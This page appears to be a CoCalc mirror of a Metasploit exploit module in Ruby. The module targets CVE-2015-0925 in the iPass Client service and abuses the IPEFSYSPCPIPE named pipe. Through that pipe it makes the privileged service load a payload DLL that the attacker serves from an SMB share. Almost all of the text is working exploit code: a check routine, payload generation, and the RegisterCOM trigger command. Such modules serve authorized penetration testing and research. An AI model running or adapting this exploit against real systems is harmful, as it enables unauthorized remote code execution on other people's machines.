CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/ipass_pipe_exec.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::SMB::Client::Authenticated
10
include Msf::Exploit::Remote::SMB::Server::Share
11
include Msf::Exploit::EXE
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'IPass Control Pipe Remote Command Execution',
16
'Description' => %q{
17
This module exploits a vulnerability in the IPass Client service. This service provides a
18
named pipe which can be accessed by the user group BUILTIN\Users. This pipe can be abused
19
to force the service to load a DLL from a SMB share.
20
},
21
'Author' =>
22
[
23
'Matthias Kaiser', # Vulnerability discovery
24
'h0ng10 <info[at]mogwaisecurity.de>', # Metasploit Module
25
],
26
'License' => MSF_LICENSE,
27
'References' =>
28
[
29
[ 'CVE', '2015-0925' ],
30
[ 'OSVDB', '117423' ],
31
[ 'BID', '72265' ],
32
[ 'URL', 'http://codewhitesec.blogspot.de/2015/02/how-i-could-ipass-your-client-security.html' ],
33
],
34
'DefaultOptions' =>
35
{
36
'EXITFUNC' => 'process',
37
},
38
'Payload' =>
39
{
40
'Space' => 2048,
41
'DisableNops' => true
42
},
43
'Platform' => 'win',
44
'Targets' =>
45
[
46
[ 'Windows x32', { 'Arch' => ARCH_X86 } ],
47
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
48
],
49
'Privileged' => true,
50
'DisclosureDate' => '2015-01-21',
51
'DefaultTarget' => 0))
52
53
register_options(
54
[
55
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
56
])
57
58
deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')
59
end
60
61
def check
62
echo_value = rand_text_alphanumeric(rand(10) + 10)
63
64
begin
65
response = send_command("System.Echo #{echo_value}")
66
if response =~ Regexp.new(echo_value)
67
return Exploit::CheckCode::Vulnerable
68
else
69
return Exploit::CheckCode::Unknown
70
end
71
rescue Rex::ConnectionError => e
72
vprint_error("Connection failed: #{e.class}: #{e}")
73
return Msf::Exploit::CheckCode::Unknown
74
rescue Rex::Proto::SMB::Exceptions::LoginError => e
75
vprint_error("Error during login: #{e}")
76
return Msf::Exploit::CheckCode::Unknown
77
rescue Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e
78
vprint_error(e.to_s)
79
return Msf::Exploit::CheckCode::Unknown
80
end
81
end
82
83
def setup
84
super
85
self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"
86
self.share = Rex::Text.rand_text_alpha(5)
87
end
88
89
def primer
90
self.file_contents = generate_payload_dll
91
print_status("File available on #{unc}...")
92
send_command("iPass.SWUpdateAssist.RegisterCOM #{unc}")
93
end
94
95
def send_command(command)
96
# The connection is closed after each command, so we have to reopen it
97
connect
98
smb_login
99
pipe = simple.create_pipe('\\IPEFSYSPCPIPE')
100
pipe.write(Rex::Text.to_unicode(command))
101
response = Rex::Text.to_ascii(pipe.read)
102
103
response
104
end
105
106
107
def exploit
108
begin
109
Timeout.timeout(datastore['SMB_DELAY']) { super }
110
rescue Timeout::Error
111
# do nothing... just finish exploit and stop smb server...
112
end
113
end
114
end
115
116